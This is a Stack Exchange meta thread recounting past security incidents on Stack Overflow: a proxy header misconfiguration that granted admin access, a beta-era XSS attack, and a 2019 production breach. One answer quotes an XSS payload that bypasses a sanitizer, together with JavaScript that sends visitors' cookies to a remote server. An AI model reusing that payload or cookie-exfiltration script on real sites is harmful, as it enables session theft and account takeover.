73

While chatting with friends about hacking, a guy said that "if a site is getting popular/ or any competitive, it will somehow face severe hacks. Some used to expose it, others hide it".

Out of curiosity I wanted to see if any such thing happened to Stack Overflow. Since Stack Exchange (being 5 years old) is the biggest network among professionals with more visitors, I started googling to find whether or not any hacks happened here. But I couldn't find such stories.

Though this question appears pretty non-constructive/off-topic, I would like to know if any hack has ever been attempted or exposed? Without having SSL, how are they maintaining/preventing hacks?

  • 85
    Jon Skeet hacked the site on day one, and we're living with it since. – Frédéric Hamidi Sep 18 '13 at 9:35
  • 33
    In actual fact, the site started out as a place for Unicorn lovers to gather some 5 and a half years ago. This site got hacked and was "infected" with what we now refer to as a Q&A. It has never recovered. – Bart Sep 18 '13 at 9:44
  • 3
    or did the site hack Jon Skeet to get his awesomeness? – user234239 Sep 18 '13 at 9:49
  • 6
    @UV-D, Jon Skeet cannot be hacked. – Frédéric Hamidi Sep 18 '13 at 9:52
  • @FrédéricHamidi oh yes, I forgot - maybe one of his clones or minions? – user234239 Sep 18 '13 at 9:53
  • 7
    In terms of someone getting admin access, in addition to ircmaxwell's post mentioned below there was Jeff's "I Just Logged In as You" incident. There have also been some XSS exploits, such as this this one the beta (10k only), and several others since. I've seen a couple less severe security vulnerabilities too. (Also during the beta, the lack of rate limiting was abused to mass-delete posts as "spam".) Fortunately, folks have been mostly-responsible about their findings. – Guest Sep 18 '13 at 14:01
  • 2
    Loosely related: Implement the Hacker Badge – Guest Sep 18 '13 at 14:05
  • 10
    I hack Stack Overflow for a living, does it count? – Sklivvz Apr 15 '14 at 9:40
  • It should be hacked without mercy. – cj5 Jul 9 '14 at 20:04
  • Bwaaaahahahaha @Bart dies laughing – Dawn Deschain May 19 '15 at 22:32
  • If they did they should have gone a lot further – Peter David Carter Mar 8 '18 at 21:33
69

Yes, ircmaxell hacked Stack Overflow once, although not intentionally.

Here's an excerpt from his follow up blog post, Anatomy of an Attack: How I Hacked StackOverflow:

The Vulnerability

If you're clever, you should be able to figure out what happened. But in case you didn't, here's how it went down. When I had my connection proxied through Squid, it added a X-Forwarded-For header. The value of this header was the IP of my source browser which made the request. But because of the SSH tunnel, the IP was localhost. To Squid, there was no difference between my browser and local. So it added X-Forwarded-For: 127.0.0.1...

The really interesting part was what ASP was reporting. When they configured a page which would dump the raw request headers, my requests came through as Remote_Addr: 127.0.0.1!!! In their application, they were checking the correct header value. But IIS was misconfigured to rewrite Remote_Addr from X-Forwarded-For if it existed. So thanks to a misconfiguration, I was able to get admin access as easily as using my proxy.

As for larger scale attacks, Nick Craver's answer on a related question seems to suggest SE is ready to deal with them. Also, SE's Sys-Admin team seems to be perfectly equipped for a wide variety of attacks, including a zombie apocalypse.

Now, if only we could find a way to end this (eternal) September...

  • 38
    For the record, based on how the SO team dealt with the vulnerability when I reported it to them, I have to say that I fully believe that they are more than ready and capable of handling any issue that happens. Seriously, they were that good with it... – ircmaxell Sep 18 '13 at 12:26
  • 9
    @ircmaxell but you have major part in the good ending. Imagine someone... less responsible than yourself. He could cause major damage before a dev would have figured out what was going on. By the way, did you request a hacker badge? You surely deserve it! – Shadow Wizard Nov 25 '13 at 8:33
  • 9
    @ShaWizDowArd: Fair enough. But I've reported a number of vulnerabilities to projects and sites alike, and SO's response was BY FAR the fastest, most professional and most complete. As far as requesting the hacker badge, nah. I'd love it. But I think that's the sort of thing that needs to be given, not asked for... – ircmaxell Nov 25 '13 at 13:54
28

Shawn dropped an XSS attack waaaay back when the site was still in beta.

He managed to log in as Jeff Atwood (one of the site's co-founders) and run a script which upvoted EVERY post on the site IIRC. He re-ran the script the next day to downvote every post as well.

In his defence, the site was in beta so we were all supposed to be trying to break it. You can hear Jeff speak about this at 36:50 of SO Podcast #37

Jeff also wrote a blog post about the details of the exploit and the fix:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

<img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. Here's what that JavaScript looks like:

window.location="http://1.2.3.4:81/r.php?u="+document.links[1].text+"&l="+document.links[1]+"&c="+document.cookie;

That's right -- whoever loads this script-injected user profile page has just unwittingly transmitted their browser cookies to an evil remote server!

  • 2
    Shawn has also mentioned in his profile. – Praveen Nov 25 '13 at 4:31
27

In addition to the other excellent answers, there’s also a Stack Exchange Hall of Fame where security researchers who responsibly disclosed a vulnerability to the site administrators get credited.

15

On May 16th 2019 it was revealed that a hacker(s) managed to gain unauthorized access to Stack Overflow production systems on May 11th, 2019.

A new post was issued on May 17th 2019 to provide more information:

The intrusion originated on May 5 when a build deployed to the development tier for stackoverflow.com contained a bug, which allowed an attacker to log in to our development tier as well as escalate their access on the production version of stackoverflow.com

... we have identified privileged web requests that the attacker made that could have returned IP address, names, or emails for a very small number of Stack Exchange users. ... our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us.

we maintain separate infrastructure and networks for clients of our Teams, Business, and Enterprise products and we have found no evidence that those systems or customer data were accessed. Our Advertising and Talent businesses were also not impacted.

New contributor
Bishan is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.
  • FWIW one part/result of the hack was to gain network-wide moderator access (and employee access on some sites). – MEE the sneaky user May 17 at 11:05
  • @MEEthesneakyuser Where did you get this info? Are there any official sources to link in the answer regarding this? – Magisch May 17 at 11:20
  • @Magisch no official sources unfortunately. I only saw a new user with network-wide mod rights and then later read a Tavern discussion about this and a message from an SE employee that they are investigating this. The user is now suspended network-wide instead of having mod rights. I could search for the Tavern discussion if you think that counts as official. – MEE the sneaky user May 17 at 11:25
  • 3
    @MEEthesneakyuser Probably best to wait until the full incident report comes out and then quoting from that. – Magisch May 17 at 11:31
  • 3
    The latest update is explaining that some users' data was accessed. – forest May 17 at 18:26
  • 1
    "While our overall user database was not compromised, we have identified privileged web requests that the attacker made that could have returned IP address, names, or emails for a very small number of Stack Exchange users. Our team is currently reviewing these logs and will be providing appropriate notifications to any users who are impacted."; stackoverflow.blog/2019/05/17/… – Richard May 17 at 19:37
  • "We can now confirm that our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us." - Their definition of 'small' and mine are at variance. – Richard May 17 at 20:41
  • 1
    @Richard Compare that with Quora, another Q&A site that got hacked and ended up exposing the information for millions of users. – forest May 18 at 1:11
  • @forest - I'm sure that'll be comforting to the hundreds of people whose account details were accessed. – Richard May 18 at 6:52
  • @Richard Oh I'm not saying that it wasn't bad or that Stack Exchange isn't at least partially to blame, just that it is small. – forest May 18 at 7:26
  • considering 250 even assuming 10 million accounts which is far outdated now is 0,0025%, I'd say thats small at this scale. – Magisch May 18 at 11:22
  • This was reported a few days ago on ZD Net: Stack Overflow says hackers breached production systems – Ron Maupin May 18 at 14:21
  • There is also a newer report: Stack Overflow hacker went undetected for a week. – Ron Maupin May 18 at 14:37

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .